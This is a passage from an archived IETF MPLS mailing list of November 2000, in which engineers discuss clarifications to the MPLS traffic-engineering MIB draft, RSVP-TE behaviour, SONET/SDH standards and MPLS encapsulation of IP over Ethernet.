QQjpec18816 for ; Mon, 13 Nov 2000 19:38:57 GMT Received: from rtp-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97]) id QQjpec12730 for ; Mon, 13 Nov 2000 19:38:56 GMT Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26]) by rtp-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id OAA00557; Mon, 13 Nov 2000 14:37:09 -0500 (EST) Received: from TNADEAU-PC02.cisco.com ([161.44.204.102]) by bucket.cisco.com (Mirapoint) with ESMTP id ABD01063; Mon, 13 Nov 2000 14:38:53 -0500 (EST) Message-Id: <4.3.2.7.2.20001113142916.015ed9c0@bucket.cisco.com> X-Sender: tnadeau@bucket.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 13 Nov 2000 14:36:52 -0500 To: Sowdambiga Karthikeyan , mpls@UU.NET From: "Thomas D. Nadeau" Subject: Re: draft-ietf-mpls-te-mib-04 clarifications In-Reply-To: <3A103EA6.248AADE3@dnrc.bell-labs.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk > Can somebody clarify the following : Let me give it a try. :P >1. How is the Tunnel Destination ip address specified in the >mplsTunnelTable ? > In the example shown in the mib, the source (head-end router) is > specified >as the first entry in the hop table and destination is specified as the last >entry in the hop table. Is this is how the destination is specified ? If so, >then we can't reuse the hop table entries for different tunnels as >specified in >the mib I guess as different tunnels can have differnt destinations. Yes, that is true. We are doing two things to address this in version -05 of the MIB. First, we are adding the tunnelDst directly as part of the tunnelTable. Second, to address your second concern, there is going to be an additional index added to the tunnelHopTable. The main reason for doing this is to allow multiple hop "path options" to be configured for each tunnel instance. However, this will have the effect of allowing you to reuse the hop entries if you so choose. > If we can have a separate fields in mplsTunnelEntry specifying the > Tunnel >Source and Destination, it will also be helpful in case where we don't want to >specify any explicit path and use the default routing. The original intent was for you to specify the src/dst as the first two hops in the hop table and this would result in default routing behavior. However, we have added a few other things to the MIB in version -05 to address things like enabling/disabling CSPF computation on the tunnel, as well as what I described above. >3. mplsTunnelARHopTable : > > I guess this should be indexed by the mplsTunnelTable indices. > (The description >text of mplsTunnelARTable says just mplsTunnelIndex and mplsTunnelInstance but >should also include mplsTunnelIngressLSRId I think). The text says this but >mplsTunnelHopEntry Index field says mplsTunnelARHopListIndex and >mplsTunnelARHopIndex. If you look in the tunnelTable, you will see a variable called mplsTunnelARHopTableIndex. This is the primary index into the ARHopTable which is associated with this tunnel. The secondary index in the ARHopTable is used to index to actual hops associated with the signalled path. I think that this indexing is adequate. --Tom From owner-mpls@UU.NET Mon Nov 13 15:06:42 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA29767 for ; Mon, 13 Nov 2000 15:06:42 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpee16406; Mon, 13 Nov 2000 20:05:50 GMT Received: by mail-control.mail.uu.net id QQjpee15444 for mpls-outgoing; Mon, 13 Nov 2000 20:05:04 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpee15423 for ; Mon, 13 Nov 2000 20:04:54 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpee01081 for ; Mon, 13 Nov 2000 20:04:02 GMT Received: from dirty.research.bell-labs.com by cmr1.ash.ops.us.uu.net with SMTP (peer crosschecked as: dirty.research.bell-labs.com [204.178.16.6]) id QQjpee19499 for ; Mon, 13 Nov 2000 20:04:01 GMT Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by dirty; Mon Nov 13 15:02:23 EST 2000 Received: from dnrc.bell-labs.com (karthi-pcho [135.180.130.102]) by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id PAA01713; Mon, 13 Nov 2000 15:02:22 -0500 (EST) Message-ID: <3A1048CE.4E4EF878@dnrc.bell-labs.com> Date: Mon, 13 Nov 2000 15:02:22 -0500 From: Sowdambiga Karthikeyan Organization: Lucent Technologies X-Mailer: Mozilla 4.6 [en]C-CCK-MCD EMS-1.4 (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "Thomas D. Nadeau" CC: mpls@UU.NET Subject: Re: draft-ietf-mpls-te-mib-04 clarifications References: <4.3.2.7.2.20001113142916.015ed9c0@bucket.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Thanks for the answers. Some more comments in-line ... > > > If we can have a separate fields in mplsTunnelEntry specifying the > > Tunnel > >Source and Destination, it will also be helpful in case where we don't want to > >specify any explicit path and use the default routing. > > The original intent was for you to specify the src/dst as > the first two hops in the hop table and this would result in > default routing behavior. However, we have added a few other things > to the MIB in version -05 to address things like enabling/disabling > CSPF computation on the tunnel, as well as what I described above. > Can we have one more field in the mplsTunnelEntry, to turn on/off the record route option (for eg. in case of RSVP, the RRO option can be turned on/off). This can be interpreted as: if this is turned on, then the AR Hop Table may be populated by the signalling protocol and if it is turned off, the table won't be populated. By the way, when can we expect version -05 ? Thanks, Sowdambiga K From owner-mpls@UU.NET Mon Nov 13 15:14:52 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA01799 for ; Mon, 13 Nov 2000 15:14:52 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpee13352; Mon, 13 Nov 2000 20:13:32 GMT Received: by mail-control.mail.uu.net id QQjpee16241 for mpls-outgoing; Mon, 13 Nov 2000 20:13:06 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpee16223 for ; Mon, 13 Nov 2000 20:12:55 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpee21359 for ; Mon, 13 Nov 2000 20:12:54 GMT Received: from dnsmx2pya.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32]) id QQjpee12404 for ; Mon, 13 Nov 2000 20:12:54 GMT Received: from notes949.cc.telcordia.com (notes949a.cc.telcordia.com [128.96.246.8]) by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with SMTP id PAA11564 for ; Mon, 13 Nov 2000 15:07:09 -0500 (EST) Received: by notes949.cc.telcordia.com(Lotus SMTP MTA v4.6.4 (830.2 3-23-1999)) id 85256996.006E813F ; Mon, 13 Nov 2000 15:07:00 -0500 X-Lotus-FromDomain: TELCORDIA From: "Hong Liao" To: mpls@UU.NET Message-ID: <85256996.006E8048.00@notes949.cc.telcordia.com> Date: Mon, 13 Nov 2000 15:06:03 -0500 Subject: rsvp-te question Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-mpls@UU.NET Precedence: bulk Hello, From rsvp-te 07.txt section 2.2, it says that" Nodes may also modify the ERO before forwarding the Path message", I was wondering which way verdors implement this since it uses the word "may". Thanks in advance. Julia From owner-mpls@UU.NET Mon Nov 13 15:21:02 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA03751 for ; Mon, 13 Nov 2000 15:21:01 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpef10039; Mon, 13 Nov 2000 20:19:50 GMT Received: by mail-control.mail.uu.net id QQjpef17092 for mpls-outgoing; Mon, 13 Nov 2000 20:19:05 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpef17084 for ; Mon, 13 Nov 2000 20:19:01 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpef19258 for ; Mon, 13 Nov 2000 20:17:23 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpef19832 for ; Mon, 13 Nov 2000 20:17:21 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id PAA17939 for mpls@uu.net; Mon, 13 Nov 2000 15:17:17 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpef16871 for ; Mon, 13 Nov 2000 20:16:27 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpef27632 for ; Mon, 13 Nov 2000 20:15:37 GMT Received: from rtp-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97]) id QQjpef06630 for ; Mon, 13 Nov 2000 20:15:37 GMT Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26]) by rtp-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id PAA02678; Mon, 13 Nov 2000 15:13:48 -0500 (EST) Received: from TNADEAU-PC02.cisco.com ([161.44.204.102]) by bucket.cisco.com (Mirapoint) with ESMTP id ABD01785; Mon, 13 Nov 2000 15:15:34 -0500 (EST) Message-Id: <4.3.2.7.2.20001113151010.04f30258@bucket.cisco.com> X-Sender: tnadeau@bucket.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 13 Nov 2000 15:13:33 -0500 To: Sowdambiga Karthikeyan From: "Thomas D. Nadeau" Subject: Re: draft-ietf-mpls-te-mib-04 clarifications Cc: mpls@UU.NET In-Reply-To: <3A1048CE.4E4EF878@dnrc.bell-labs.com> References: <4.3.2.7.2.20001113142916.015ed9c0@bucket.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk > Can we have one more field in the mplsTunnelEntry, to turn on/off > the record >route option (for eg. in case of RSVP, the RRO option can be turned on/off). >This can be interpreted as: if this is turned on, then the AR Hop Table may be >populated by the signalling protocol and if it is turned off, the table >won't be >populated. The ARTable should always contain the actual path being taken by the tunnel unless it is unavailable, so your interpretation of it not being populated if RRO is disabled is accurate. I can see that it might be an interesting nob to turn off/on, but I would want to hear from others before adding new stuff to the MIB at this point. > By the way, when can we expect version -05 ? As soon as Cheenu and Arun return from vacation and we can all have a conference call. ;) Seriously, it is finished with only one minor issue that needs to be decided. After that it will go out. Hopefully this will be within the next day or so. --Tom From owner-mpls@UU.NET Mon Nov 13 15:42:10 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA12153 for ; Mon, 13 Nov 2000 15:42:05 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpeg21534; Mon, 13 Nov 2000 20:41:03 GMT Received: by mail-control.mail.uu.net id QQjpeg19390 for mpls-outgoing; Mon, 13 Nov 2000 20:40:25 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjpeg19377 for ; Mon, 13 Nov 2000 20:40:17 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpeg11804 for ; Mon, 13 Nov 2000 20:38:52 GMT Received: from wcgtule107.wcg.williams.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: securit-v1.twc.com [151.142.252.11]) id QQjpeg15033 for ; Mon, 13 Nov 2000 20:38:52 GMT Received: by wcgtule107.wcg.williams.com with Internet Mail Service (5.5.2650.21) id ; Mon, 13 Nov 2000 14:38:13 -0600 Message-ID: <3F32ABD0F070D311A90800805FEAD30309F31705@wcgtule102.wcg.williams.com> From: "Upadhyay, Anurag" To: mpls@UU.NET Subject: Verifying bits/period and equivalent ITU-T standards for GR-253 C ore. Date: Mon, 13 Nov 2000 14:38:56 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk I would appreciate if someone could help me in locating information related to the following: 1) Bits/Period: Do we have standards/test cases related to the bits/period for SONET from OC-3, OC-12, OC-48 and OC-192. What I am looking for is a way to find out if there is a standard or a test case that certifies that at the receiving end you get same number of bits that you transmitted. Say for example if you have a vendor who says that their equipment can transmit OC-48 (2.5 Gbps). Is there a way to find out if at the receiving end we also receive 2.5 Gbps and not 2.4 Gbps. I have ordered the most recent copy of the GR-253 Core standard and was interested if this information is available in that document or any other place. 2) Equivalent ITU-T Standards for GR-253 Core: We are looking at the European market and in Europe SDH is the relevant standard rather than SONET. Could you also help us in finding equivalent ITU-T standards for GR-253 CORE. Thanks Anurag Upadhyay Optical Systems Engineer Test & Certification Network Architecture Williams Communications Tel: 918-573-9648 Fax: 918-573-3476 From owner-mpls@UU.NET Mon Nov 13 15:53:32 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA16673 for ; Mon, 13 Nov 2000 15:53:32 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpeh15742; Mon, 13 Nov 2000 20:52:25 GMT Received: by mail-control.mail.uu.net id QQjpeh20506 for mpls-outgoing; Mon, 13 Nov 2000 20:51:49 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpeh20494 for ; Mon, 13 Nov 2000 20:51:45 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpeh09477 for ; Mon, 13 Nov 2000 20:50:09 GMT Received: from entmail.gnilink.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: entmail.gnilink.net [199.45.47.10]) id QQjpeh02087 for ; Mon, 13 Nov 2000 20:50:09 GMT Received: by entmail.gnilink.com with Internet Mail Service (5.5.2650.21) id ; Mon, 13 Nov 2000 15:48:38 -0500 Message-ID: <94B9091E1149D411A45C00508BACEB353D05A4@entmail.gnilink.com> From: "Martin, Christian" To: "'Upadhyay, Anurag'" , mpls@UU.NET Subject: RE: Verifying bits/period and equivalent ITU-T standards for GR-2 53 C ore. Date: Mon, 13 Nov 2000 15:48:37 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk > 2) Equivalent ITU-T Standards for GR-253 Core: We are looking at the > European market and in Europe SDH is the relevant standard rather than > SONET. Could > you also help us in finding equivalent ITU-T standards > for GR-253 CORE. The standards you are looking for can be found in G.702, G.703 and G.707, among others. Regards, ./chris > > Thanks > > Anurag Upadhyay > Optical Systems Engineer > Test & Certification > Network Architecture > Williams Communications > Tel: 918-573-9648 > Fax: 918-573-3476 > From owner-mpls@UU.NET Mon Nov 13 16:41:22 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA03068 for ; Mon, 13 Nov 2000 16:41:22 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpek14108; Mon, 13 Nov 2000 21:40:24 GMT Received: by mail-control.mail.uu.net id QQjpek06129 for mpls-outgoing; Mon, 13 Nov 2000 21:39:49 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpek06113 for ; Mon, 13 Nov 2000 21:39:34 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpek02700 for ; Mon, 13 Nov 2000 21:38:16 GMT Received: from smtprch2.nortel.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtprch2.nortelnetworks.com [192.135.215.15]) id QQjpek20846 for ; Mon, 13 Nov 2000 21:38:16 GMT Received: from zrchb213.us.nortel.com (actually zrchb213) by smtprch2.nortel.com; Mon, 13 Nov 2000 15:33:35 -0600 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id ; Mon, 13 Nov 2000 15:37:47 -0600 Message-ID: From: "Peter Tam" To: "Relan, Sandeep" , "'ytr@csa.iisc.ernet.in'" , "'jrunham@fibernet.co.uk'" , "'seenu@samsung.co.kr'" Cc: "'mpls@uu.net'" Subject: RE: Request for one more clarification on IP with MPLS Date: Mon, 13 Nov 2000 15:37:39 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C04DB9.F286C160" X-Orig: Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C04DB9.F286C160 Content-Type: text/plain; charset="iso-8859-1" Hi, Sandeep: Not sure which 2 bytes of TYPE field in the IP header you meant? But, basically, the Ethernet frame header has assigned Ethertype values to indicate that it is encapsulating MPLS unicast data frames or multicast data frames. The last MPLS label in the label stack would have an Explicit NULL label (with the end of Stack bit set) to indicate it is dealing with IPv4 or IPv6. Or you may use administration (MPLS signaling may achieve likewise) to allocate certain label space to indicate it is dealing with IP or others. Implicitly, it defaults to all IP. Regards...Peter Tam, Nortel Networks. -----Original Message----- From: Relan, Sandeep [SMTP:sandeep.relan@intel.com] Sent: Monday, November 13, 2000 2:48 AM To: 'ytr@csa.iisc.ernet.in'; 'jrunham@fibernet.co.uk'; 'seenu@samsung.co.kr' Cc: 'mpls@uu.net' Subject: Request for one more clarification on IP with MPLS Dear John Runham, Ramanjaneyulu and Seenu, Thank you to all of you for the prompt and detailed clarifications.!! Now, I have come across another basic doubt. I noticed that the mpls draft : draft-ietf-mpls-label-encaps-08.txt does not address the Ethernet - IP type field presence after MPLS labels : |---------------------------------| | L2 | MPLS | IP Header | |---------------------------------| In standard Ethernet-II or 802.3 LLC/SNAP (non-MPLS) switching / routing, the Type field "0x800" comes after the L2 header, which indicates that it is an IP packet. But, in case of MPLS switched packets : Q1. Will the IP header after the MPLS, contain 2 bytes of Type field (0x800) in the begining of IP Header...?? or Q2. For MPLS packets, Is IP the implicit protocol supported ..?? Thereby no type field is required after the MPLS labels and the bytes after MPLS labels "MUST" be the IP Header without type field !! Thanking you all for your kind help. - Sandeep ------_=_NextPart_001_01C04DB9.F286C160 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: Request for one more clarification on IP with MPLS

Hi, Sandeep:

Not sure which 2 bytes of TYPE field = in the IP header you meant? But, basically, the Ethernet frame header = has assigned Ethertype values to indicate that it is encapsulating MPLS = unicast data frames or multicast data frames. The last MPLS label in = the label stack would have an Explicit NULL label (with the end of = Stack bit set) to indicate it is dealing with IPv4 or IPv6. Or you may = use administration (MPLS signaling may achieve likewise) to allocate = certain label space to indicate it is dealing with IP or others. = Implicitly, it defaults to all IP.

Regards...Peter Tam,
Nortel Networks.

    -----Original = Message-----
    From:   Relan, Sandeep = [SMTP:sandeep.relan@intel.com]
    Sent:   Monday, November 13, 2000 2:48 AM
    To:     'ytr@csa.iisc.ernet.in'; 'jrunham@fibernet.co.uk'; = 'seenu@samsung.co.kr'
    Cc:     'mpls@uu.net'
    Subject:       = Request for one more clarification = on IP with MPLS


    Dear John Runham, Ramanjaneyulu and = Seenu,

     Thank you to all of you for the = prompt and detailed
     clarifications.!!

     Now, I have come across another = basic doubt.
     I noticed that the mpls draft = :
      
        = draft-ietf-mpls-label-encaps-08.txt
     
     does not  address the = Ethernet - IP type field
     presence after MPLS labels = :

      = |---------------------------------|
      | L2  | MPLS   = | IP Header          |  =       
      = |---------------------------------|

     
      In standard Ethernet-II or = 802.3 LLC/SNAP (non-MPLS)
      switching / routing, the Type = field "0x800" comes after
      the L2 header, which indicates = that it is an IP packet.

      But, in case of MPLS switched = packets :

      Q1.  Will the IP header = after the MPLS, contain 2 bytes
           = of Type field (0x800) in the begining of IP Header...??

             &nb= sp;       or

      Q2. For MPLS packets, Is IP the = implicit protocol supported ..??
          = Thereby no type field is required after the MPLS labels and
          the = bytes after MPLS labels  "MUST" be the IP Header = without
          type = field  !!


     Thanking you all for your kind = help.

     - Sandeep



------_=_NextPart_001_01C04DB9.F286C160-- From owner-mpls@UU.NET Mon Nov 13 17:17:33 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA14762 for ; Mon, 13 Nov 2000 17:17:33 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpen10924; Mon, 13 Nov 2000 22:16:19 GMT Received: by mail-control.mail.uu.net id QQjpen21784 for mpls-outgoing; Mon, 13 Nov 2000 22:15:32 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpen21773 for ; Mon, 13 Nov 2000 22:15:26 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpem07081 for ; Mon, 13 Nov 2000 22:14:40 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpem02445 for ; Mon, 13 Nov 2000 22:14:40 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id RAA06478 for mpls@uu.net; Mon, 13 Nov 2000 17:14:39 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpem21288 for ; Mon, 13 Nov 2000 22:13:40 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpem24612 for ; Mon, 13 Nov 2000 22:12:18 GMT Received: from miles.dataconnection.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtp2.datcon.co.uk [192.91.191.8]) id QQjpem05215 for ; Mon, 13 Nov 2000 22:12:17 GMT Received: by miles.dataconnection.com with Internet Mail Service (5.5.2650.21) id ; Mon, 13 Nov 2000 22:12:04 -0000 Message-ID: From: Adrian Farrel To: Cisco -Thomas Nadeau , Sowdambiga Karthikeyan Cc: mpls@UU.NET Subject: RE: draft-ietf-mpls-te-mib-04 clarifications Date: Mon, 13 Nov 2000 21:08:41 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Tom, This flag is already available in our MIB in our implementation, so I guess I'd be happy to see it in the IETF MIB. :-) How about... mplsTunnelRecordARHops OBJECT-TYPE SYNTAX TruthValue MAX-ACCESS read-create STATUS current DESCRIPTION "This object permits actual route recording to be selected for a particular tunnel. When set to 'true', the actual route of a tunnel whose mplsTunnelOperStatus is 'up' can be viewed by examining the mplsTunnelARHopTable." ::= { mplsTunnelEntry 25 } Regards, Adrian -- Adrian Farrel mailto:af@dataconnection.com Network Convergence Group Data Connection Ltd., Chester, UK http://www.dataconnection.com/ Tel: +44 (0) 1244 313440 Fax: +44 (0) 1244 312422 >-----Original Message----- >From: Cisco -Thomas Nadeau >Sent: Monday, November 13, 2000 8:14 PM >To: Sowdambiga Karthikeyan >Cc: mpls@UU.NET >Subject: Re: draft-ietf-mpls-te-mib-04 clarifications > > > > >> Can we have one more field in the mplsTunnelEntry, >to turn on/off >> the record >>route option (for eg. in case of RSVP, the RRO option can be >turned on/off). >>This can be interpreted as: if this is turned on, then the AR >Hop Table may be >>populated by the signalling protocol and if it is turned off, >the table >>won't be >>populated. > > The ARTable should always contain the actual path being taken >by the tunnel unless it is unavailable, so your interpretation of >it not being populated if RRO is disabled is accurate. I can see >that it might be an interesting nob to turn off/on, but I would want >to hear from others before adding new stuff to the MIB at this point. > >> By the way, when can we expect version -05 ? > > As soon as Cheenu and Arun return from vacation and >we can all have a conference call. ;) Seriously, it is >finished with only one minor issue that needs to be decided. >After that it will go out. Hopefully this will be within the >next day or so. > > --Tom > > From owner-mpls@UU.NET Mon Nov 13 17:19:05 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA15299 for ; Mon, 13 Nov 2000 17:19:05 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpen16369; Mon, 13 Nov 2000 22:17:43 GMT Received: by mail-control.mail.uu.net id QQjpen21986 for mpls-outgoing; Mon, 13 Nov 2000 22:16:59 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjpen21972 for ; Mon, 13 Nov 2000 22:16:51 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpen29768 for ; Mon, 13 Nov 2000 22:15:35 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpen13234 for ; Mon, 13 Nov 2000 22:15:34 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id RAA06615 for mpls@uu.net; Mon, 13 Nov 2000 17:15:33 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpem21564 for ; Mon, 13 Nov 2000 22:14:55 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpem01031 for ; Mon, 13 Nov 2000 22:14:53 GMT Received: from rtp-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97]) id QQjpem02728 for ; Mon, 13 Nov 2000 22:14:52 GMT Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26]) by rtp-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id RAA08800; Mon, 13 Nov 2000 17:12:56 -0500 (EST) Received: from TNADEAU-PC02.cisco.com ([161.44.204.102]) by bucket.cisco.com (Mirapoint) with ESMTP id ABD03940; Mon, 13 Nov 2000 17:14:41 -0500 (EST) Message-Id: <4.3.2.7.2.20001113171157.01658858@bucket.cisco.com> X-Sender: tnadeau@bucket.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 13 Nov 2000 17:12:40 -0500 To: Adrian Farrel , Sowdambiga Karthikeyan From: "Thomas D. Nadeau" Subject: RE: draft-ietf-mpls-te-mib-04 clarifications Cc: mpls@UU.NET, Cheenu Srinivasan , Arun Viswanathan In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk This flag is already available in my implementation as well. Any objections to adding this variable to the tunnel table? --Tom >This flag is already available in our MIB in our implementation, so I guess >I'd be happy to see it in the IETF MIB. :-) > >How about... > >mplsTunnelRecordARHops OBJECT-TYPE > SYNTAX TruthValue > MAX-ACCESS read-create > STATUS current > DESCRIPTION > "This object permits actual route recording to be selected for > a particular tunnel. When set to 'true', the actual route of > a tunnel whose 